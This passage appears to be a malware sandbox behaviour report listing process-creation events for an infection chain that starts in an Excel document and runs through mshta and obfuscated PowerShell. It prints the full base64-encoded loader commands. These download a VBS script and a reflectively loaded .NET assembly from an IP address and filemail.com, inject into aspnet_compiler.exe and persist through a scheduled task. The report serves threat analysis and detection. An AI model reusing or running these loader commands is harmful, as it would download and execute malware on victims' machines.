['+'dnlib.IO.Home].GetMethod(PuIVAIPuI);seYvaiMe'+'thod.Invo'+'ke(seYnull, @(PuItxt.TGRFFRW/35/871.44.271.701//'+':ptthPuI, PuIdesativadoPuI, PuId'+'esativadoPuI, Pu'+'IdesativadoPuI, PuIaspnet_compil'+'erPuI, PuIdesativadoPuI, '+'PuIdesativadoPuI,PuIdesativado'+'PuI,PuIdesativadoPuI,PuIdesativadoPuI,PuIdesativadoPuI,PuIdesativadoPuI,PuI1PuI,PuIdesativadoPuI));').rEPlaCE('PuI',[StrInG][CHAR]39).rEPlaCE('2pO','\|').rEPlaCE('seY','$')\| . ((gV 'Mdr').nAmE[3,11,2]-jOIN'')"
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\mshta.exe C:\Windows\System32\mshta.exe -Embedding
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysTEM32\wiNdoWSPoWeRShElL\V1.0\PoWERsHeLl.EXe" "pOWersheLL -Ex BYPaSs -nop -W 1 -c DeVIcECrEdenTiAldePlOYMEnT.exe ; INvokE-EXPressiON($(INvOkE-ExpressiON('[SystEM.tExt.encoDinG]'+[char]0X3A+[char]58+'UTF8.GetsTRIng([SyStEm.cOnVeRT]'+[ChaR]0X3A+[chaR]58+'frombasE64StRIng('+[chaR]34+'JFhvY0VSN21mYWMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQWRELXRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbWVNYmVSZEVGaW5pVElvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVcmxNT04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkbkhyTG8sc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgamxXTWh0LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEwsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVEd1JCWENTLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHFFS3ZxKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZHpUayIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNZVNQQUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbHhzQnRTTVB2ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRYb2NFUjdtZmFjOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3Mi40NC4xNzgvNTMvc2VlbXliZXN0bmV0d29ya3doaWNoZ2l2ZWJlc3R0aGluZ3NlbnRpcmVsaWZld2l0aG1lLnRJRiIsIiRFTnY6QVBQREFUQVxzZWVteWJlc3RuZXR3b3Jrd2hpY2hnaXZlYmVzdHRoaW5nc2VudGlyZWxpZmV3aXRoLnZiUyIsMCwwKTtzVEFydC1zbEVFUCgzKTtJRVggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXHNlZW15YmVzdG5ldHdvcmt3aGljaGdpdmViZXN0dGhpbmdzZW50aXJlbGlmZXdpdGgudmJTIg=='+[chaR]0X22+'))')))"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex BYPaSs -nop -W 1 -c DeVIcECrEdenTiAldePlOYMEnT.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\mffkkngw\mffkkngw.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES845C.tmp" "c:\Users\user\AppData\Local\Temp\mffkkngw\CSC9E50345C585C4EFF867E1FFD2050D1A6.TMP"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\seemybestnetworkwhichgivebestthingsentirelifewith.vbS"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdzZVlpbWFnZVUnKydybCA9IFB1SWh0JysndHBzJysnOicrJy8vMTAxNy5maWxlbWFpbC5jb20vYXBpL2ZpbCcrJ2UvZ2V0P2ZpbGVrZXk9MkFhX2JXbzlSZXU0NXQ3QlUxa1Znc2Q5cFQ5cGdTU2x2U3QnKydHcm5USUNmRmhtVEtqM0xDNlNRdEljT2NfVDM1dyZwa192aWQ9ZmQ0ZjYxNGJiMjA5YzYyYzE3MzA5NDUxNzZhMDkwNGYgUHVJO3NlWXdlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XJysnZWJDbGllbnQ7c2VZaW1hZ2VCeXRlcyA9IHNlWXdlYkNsaWVuJysndC5Eb3dubG9hZERhdGEoc2VZaW1hZ2VVcmwpO3NlWWltYWcnKydlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKHNlWWltYWdlQnl0JysnZXMpO3NlWXN0YXJ0RmxhZyA9IFB1STw8QkFTRTY0XycrJ1NUQVJUPj5QdUk7c2VZZW5kRicrJ2xhZyA9IFB1SScrJzw8QkFTRTY0X0VORD4+UHVJO3NlWXN0YXJ0SW5kZXggPSBzZVlpbWFnZVRleHQuSW5kZXhPZignKydzZVlzdGFydEZsYWcpO3NlWWVuZCcrJ0luZGV4ID0gc2VZaW1hZ2VUZXh0LkluZGV4T2Yoc2VZZW5kRmxhZyk7cycrJ2VZc3RhcnRJbmRleCAtZ2UgMCAtYW5kIHNlWWVuZEluZGV4IC1ndCBzZVlzdGFydEluZGV4O3MnKydlWXN0YXJ0SW5kZXggKz0gc2VZc3RhcnRGbGFnLkxlbmd0aDtzZVliYXNlNjRMZW5ndGggPSBzZVllbmRJbmRleCAtIHNlWXN0YXJ0SW5kZXg7c2VZYmFzZTY0Q29tbWFuZCA9JysnIHNlJysnWWltYWcnKydlVCcrJ2V4dC5TdWJzdHJpbmcoc2VZc3RhcnRJbmRleCwnKycgc2VZYmFzZTY0TGVuZ3RoKTtzZVliYXNlNjRSZXZlcnNlZCA9IC1qb2luIChzZVliYXNlNjRDb21tYW5kJysnLlRvQ2hhckFycmF5KCkgMnBPIEZvckUnKydhY2gtT2JqZWN0IHsgc2VZXyB9KVstMS4uLShzZVknKydiYXNlNjRDb21tYW5kLkxlbmd0aCldO3NlWScrJ2NvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQycrJ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJysnc2VZYmFzZTY0UmV2ZXJzZWQpO3NlWScrJ2xvYWRlZEFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsJysnZWN0aW9uLkFzc2VtYmx5XScrJzo6TG9hZChzZVljb21tYW5kQnl0ZXMpO3NlWXZhaU1ldGhvZCA9IFsnKydkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoUHVJVkFJUHVJKTtzZVl2YWlNZScrJ3Rob2QuSW52bycrJ2tlKHNlWW51bGwsIEAoUHVJdHh0LlRHUkZGUlcvMzUvODcxLjQ0LjI3MS43MDEvLycrJzpwdHRoUHVJLCBQdUlkZXNhdGl2YWRvUHVJLCBQdUlkJysnZXNhdGl2YWRvUHVJLCBQdScrJ0lkZXNhdGl2YWRvUHVJLCBQdUlhc3BuZXRfY29tcGlsJysnZXJQdUksIFB1SWRlc2F0aXZhZG9QdUksICcrJ1B1SWRlc2F0aXZhZG9QdUksUHVJZGVzYXRpdmFkbycrJ1B1SSxQdUlkZXNhdGl2YWRvUHVJLFB1SWRlc2F0aXZhZG9QdUksUHVJZGVzYXRpdmFkb1B1SSxQdUlkZXNhdGl2YWRvUHVJLFB1STFQdUksUHVJZGVzYXRpdmFkb1B1SSkpOycpLnJFUGxhQ0UoJ1B1SScsW1N0ckluR11bQ0hBUl0zOSkuckVQbGFDRSgnMnBPJywnfCcpLnJFUGxhQ0UoJ3NlWScsJyQnKXwgLiAoKGdWICcqTWRyKicpLm5BbUVbMywxMSwyXS1qT0lOJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('seYimageU'+'rl = PuIht'+'tps'+':'+'//1017.filemail.com/api/fil'+'e/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvSt'+'GrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f PuI;seYwebClient = New-Object System.Net.W'+'ebClient;seYimageBytes = seYwebClien'+'t.DownloadData(seYimageUrl);seYimag'+'eText = [System.Text.Encoding]::UTF8.GetString(seYimageByt'+'es);seYstartFlag = PuI<<BASE64_'+'START>>PuI;seYendF'+'lag = PuI'+'<<BASE64_END>>PuI;seYstartIndex = seYimageText.IndexOf('+'seYstartFlag);seYend'+'Index = seYimageText.IndexOf(seYendFlag);s'+'eYstartIndex -ge 0 -and seYendIndex -gt seYstartIndex;s'+'eYstartIndex += seYstartFlag.Length;seYbase64Length = seYendIndex - seYstartIndex;seYbase64Command ='+' se'+'Yimag'+'eT'+'ext.Substring(seYstartIndex,'+' seYbase64Length);seYbase64Reversed = -join (seYbase64Command'+'.ToCharArray() 2pO ForE'+'ach-Object { seY_ })[-1..-(seY'+'base64Command.Length)];seY'+'commandBytes = [System.C'+'onvert]::FromBase64String('+'seYbase64Reversed);seY'+'loadedAssembly = [System.Refl'+'ection.Assembly]'+'::Load(seYcommandBytes);seYvaiMethod = ['+'dnlib.IO.Home].GetMethod(PuIVAIPuI);seYvaiMe'+'thod.Invo'+'ke(seYnull, @(PuItxt.TGRFFRW/35/871.44.271.701//'+':ptthPuI, PuIdesativadoPuI, PuId'+'esativadoPuI, Pu'+'IdesativadoPuI, PuIaspnet_compil'+'erPuI, PuIdesativadoPuI, '+'PuIdesativadoPuI,PuIdesativado'+'PuI,PuIdesativadoPuI,PuIdesativadoPuI,PuIdesativadoPuI,PuIdesativadoPuI,PuI1PuI,PuIdesativadoPuI));').rEPlaCE('PuI',[StrInG][CHAR]39).rEPlaCE('2pO','\|').rEPlaCE('seY','$')\| . ((gV 'Mdr').nAmE[3,11,2]-jOIN'')"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
Source: unknown	Process created: C:\Windows\System32\taskeng.exe taskeng.exe {D690A31F-6F9A-4F5C-9D7D-F0EC28BCB101} S-1-5-21-966771315-3019405637-367336477-1006:user-PC\user:Interactive:[1]
Source: C:\Windows\System32\taskeng.exe	Process created: C:\Users\user\AppData\Roaming\vtjrhji C:\Users\user\AppData\Roaming\vtjrhji
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysTEM32\wiNdoWSPoWeRShElL\V1.0\PoWERsHeLl.EXe" "pOWersheLL -Ex BYPaSs -nop -W 1 -c DeVIcECrEdenTiAldePlOYMEnT.exe ; INvokE-EXPressiON($(INvOkE-ExpressiON('[SystEM.tExt.encoDinG]'+[char]0X3A+[char]58+'UTF8.GetsTRIng([SyStEm.cOnVeRT]'+[ChaR]0X3A+[chaR]58+'frombasE64StRIng('+[chaR]34+'JFhvY0VSN21mYWMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQWRELXRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbWVNYmVSZEVGaW5pVElvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVcmxNT04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkbkhyTG8sc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgamxXTWh0LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEwsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVEd1JCWENTLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHFFS3ZxKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZHpUayIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNZVNQQUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbHhzQnRTTVB2ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRYb2NFUjdtZmFjOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3Mi40NC4xNzgvNTMvc2VlbXliZXN0bmV0d29ya3doaWNoZ2l2ZWJlc3R0aGluZ3NlbnRpcmVsaWZld2l0aG1lLnRJRiIsIiRFTnY6QVBQREFUQVxzZWVteWJlc3RuZXR3b3Jrd2hpY2hnaXZlYmVzdHRoaW5nc2VudGlyZWxpZmV3aXRoLnZiUyIsMCwwKTtzVEFydC1zbEVFUCgzKTtJRVggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXHNlZW15YmVzdG5ldHdvcmt3aGljaGdpdmViZXN0dGhpbmdzZW50aXJlbGlmZXdpdGgudmJTIg=='+[chaR]0X22+'))')))"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex BYPaSs -nop -W 1 -c DeVIcECrEdenTiAldePlOYMEnT.exe	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\03wlztsz\03wlztsz.cmdline"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\seemybestnetworkwhichgivebestthingsentirelifewith.vbS"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES2B07.tmp" "c:\Users\user\AppData\Local\Temp\03wlztsz\CSC280AB7AC39534067B2898716E8B346.TMP"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdzZVlpbWFnZVUnKydybCA9IFB1SWh0JysndHBzJysnOicrJy8vMTAxNy5maWxlbWFpbC5jb20vYXBpL2ZpbCcrJ2UvZ2V0P2ZpbGVrZXk9MkFhX2JXbzlSZXU0NXQ3QlUxa1Znc2Q5cFQ5cGdTU2x2U3QnKydHcm5USUNmRmhtVEtqM0xDNlNRdEljT2NfVDM1dyZwa192aWQ9ZmQ0ZjYxNGJiMjA5YzYyYzE3MzA5NDUxNzZhMDkwNGYgUHVJO3NlWXdlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XJysnZWJDbGllbnQ7c2VZaW1hZ2VCeXRlcyA9IHNlWXdlYkNsaWVuJysndC5Eb3dubG9hZERhdGEoc2VZaW1hZ2VVcmwpO3NlWWltYWcnKydlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKHNlWWltYWdlQnl0JysnZXMpO3NlWXN0YXJ0RmxhZyA9IFB1STw8QkFTRTY0XycrJ1NUQVJUPj5QdUk7c2VZZW5kRicrJ2xhZyA9IFB1SScrJzw8QkFTRTY0X0VORD4+UHVJO3NlWXN0YXJ0SW5kZXggPSBzZVlpbWFnZVRleHQuSW5kZXhPZignKydzZVlzdGFydEZsYWcpO3NlWWVuZCcrJ0luZGV4ID0gc2VZaW1hZ2VUZXh0LkluZGV4T2Yoc2VZZW5kRmxhZyk7cycrJ2VZc3RhcnRJbmRleCAtZ2UgMCAtYW5kIHNlWWVuZEluZGV4IC1ndCBzZVlzdGFydEluZGV4O3MnKydlWXN0YXJ0SW5kZXggKz0gc2VZc3RhcnRGbGFnLkxlbmd0aDtzZVliYXNlNjRMZW5ndGggPSBzZVllbmRJbmRleCAtIHNlWXN0YXJ0SW5kZXg7c2VZYmFzZTY0Q29tbWFuZCA9JysnIHNlJysnWWltYWcnKydlVCcrJ2V4dC5TdWJzdHJpbmcoc2VZc3RhcnRJbmRleCwnKycgc2VZYmFzZTY0TGVuZ3RoKTtzZVliYXNlNjRSZXZlcnNlZCA9IC1qb2luIChzZVliYXNlNjRDb21tYW5kJysnLlRvQ2hhckFycmF5KCkgMnBPIEZvckUnKydhY2gtT2JqZWN0IHsgc2VZXyB9KVstMS4uLShzZVknKydiYXNlNjRDb21tYW5kLkxlbmd0aCldO3NlWScrJ2NvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQycrJ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJysnc2VZYmFzZTY0UmV2ZXJzZWQpO3NlWScrJ2xvYWRlZEFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsJysnZWN0aW9uLkFzc2VtYmx5XScrJzo6TG9hZChzZVljb21tYW5kQnl0ZXMpO3NlWXZhaU1ldGhvZCA9IFsnKydkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoUHVJVkFJUHVJKTtzZVl2YWlNZScrJ3Rob2QuSW52bycrJ2tlKHNlWW51bGwsIEAoUHVJdHh0LlRHUkZGUlcvMzUvODcxLjQ0LjI3MS43MDEvLycrJzpwdHRoUHVJLCBQdUlkZXNhdGl2YWRvUHVJLCBQdUlkJysnZXNhdGl2YWRvUHVJLCBQdScrJ0lkZXNhdGl2YWRvUHVJLCBQdUlhc3BuZXRfY29tcGlsJysnZXJQdUksIFB1SWRlc2F0aXZhZG9QdUksICcrJ1B1SWRlc2F0aXZhZG9QdUksUHVJZGVzYXRpdmFkbycrJ1B1SSxQdUlkZXNhdGl2YWRvUHVJLFB1SWRlc2F0aXZhZG9QdUksUHVJZGVzYXRpdmFkb1B1SSxQdUlkZXNhdGl2YWRvUHVJLFB1STFQdUksUHVJZGVzYXRpdmFkb1B1SSkpOycpLnJFUGxhQ0UoJ1B1SScsW1N0ckluR11bQ0hBUl0zOSkuckVQbGFDRSgnMnBPJywnfCcpLnJFUGxhQ0UoJ3NlWScsJyQnKXwgLiAoKGdWICcqTWRyKicpLm5BbUVbMywxMSwyXS1qT0lOJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('seYimageU'+'rl = PuIht'+'tps'+':'+'//1017.filemail.com/api/fil'+'e/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvSt'+'GrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f PuI;seYwebClient = New-Object System.Net.W'+'ebClient;seYimageBytes = seYwebClien'+'t.DownloadData(seYimageUrl);seYimag'+'eText = [System.Text.Encoding]::UTF8.GetString(seYimageByt'+'es);seYstartFlag = PuI<<BASE64_'+'START>>PuI;seYendF'+'lag = PuI'+'<<BASE64_END>>PuI;seYstartIndex = seYimageText.IndexOf('+'seYstartFlag);seYend'+'Index = seYimageText.IndexOf(seYendFlag);s'+'eYstartIndex -ge 0 -and seYendIndex -gt seYstartIndex;s'+'eYstartIndex += seYstartFlag.Length;seYbase64Length = seYendIndex - seYstartIndex;seYbase64Command ='+' se'+'Yimag'+'eT'+'ext.Substring(seYstartIndex,'+' seYbase64Length);seYbase64Reversed = -join (seYbase64Command'+'.ToCharArray() 2pO ForE'+'ach-Object { seY_ })[-1..-(seY'+'base64Command.Length)];seY'+'commandBytes = [System.C'+'onvert]::FromBase64String('+'seYbase64Reversed);seY'+'loadedAssembly = [System.Refl'+'ection.Assembly]'+'::Load(seYcommandBytes);seYvaiMethod = ['+'dnlib.IO.Home].GetMethod(PuIVAIPuI);seYvaiMe'+'thod.Invo'+'ke(seYnull, @(PuItxt.TGRFFRW/35/871.44.271.701//'+':ptthPuI, PuIdesativadoPuI, PuId'+'esativadoPuI, Pu'+'IdesativadoPuI, PuIaspnet_compil'+'erPuI, PuIdesativadoPuI, '+'PuIdesativadoPuI,PuIdesativado'+'PuI,PuIdesativadoPuI,PuIdesativadoPuI,PuIdesativadoPuI,PuIdesativadoPuI,PuI1PuI,PuIdesativadoPuI));').rEPlaCE('PuI',[StrInG][CHAR]39).rEPlaCE('2pO','\|').rEPlaCE('seY','$')\| . ((gV 'Mdr').nAmE[3,11,2]-jOIN'')"	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysTEM32\wiNdoWSPoWeRShElL\V1.0\PoWERsHeLl.EXe" "pOWersheLL -Ex BYPaSs -nop -W 1 -c DeVIcECrEdenTiAldePlOYMEnT.exe ; INvokE-EXPressiON($(INvOkE-ExpressiON('[SystEM.tExt.encoDinG]'+[char]0X3A+[char]58+'UTF8.GetsTRIng([SyStEm.cOnVeRT]'+[ChaR]0X3A+[chaR]58+'frombasE64StRIng('+[chaR]34+'JFhvY0VSN21mYWMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQWRELXRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbWVNYmVSZEVGaW5pVElvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVcmxNT04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkbkhyTG8sc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgamxXTWh0LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEwsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVEd1JCWENTLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHFFS3ZxKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZHpUayIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNZVNQQUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbHhzQnRTTVB2ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRYb2NFUjdtZmFjOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3Mi40NC4xNzgvNTMvc2VlbXliZXN0bmV0d29ya3doaWNoZ2l2ZWJlc3R0aGluZ3NlbnRpcmVsaWZld2l0aG1lLnRJRiIsIiRFTnY6QVBQREFUQVxzZWVteWJlc3RuZXR3b3Jrd2hpY2hnaXZlYmVzdHRoaW5nc2VudGlyZWxpZmV3aXRoLnZiUyIsMCwwKTtzVEFydC1zbEVFUCgzKTtJRVggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXHNlZW15YmVzdG5ldHdvcmt3aGljaGdpdmViZXN0dGhpbmdzZW50aXJlbGlmZXdpdGgudmJTIg=='+[chaR]0X22+'))')))"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex BYPaSs -nop -W 1 -c DeVIcECrEdenTiAldePlOYMEnT.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\mffkkngw\mffkkngw.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\seemybestnetworkwhichgivebestthingsentirelifewith.vbS"
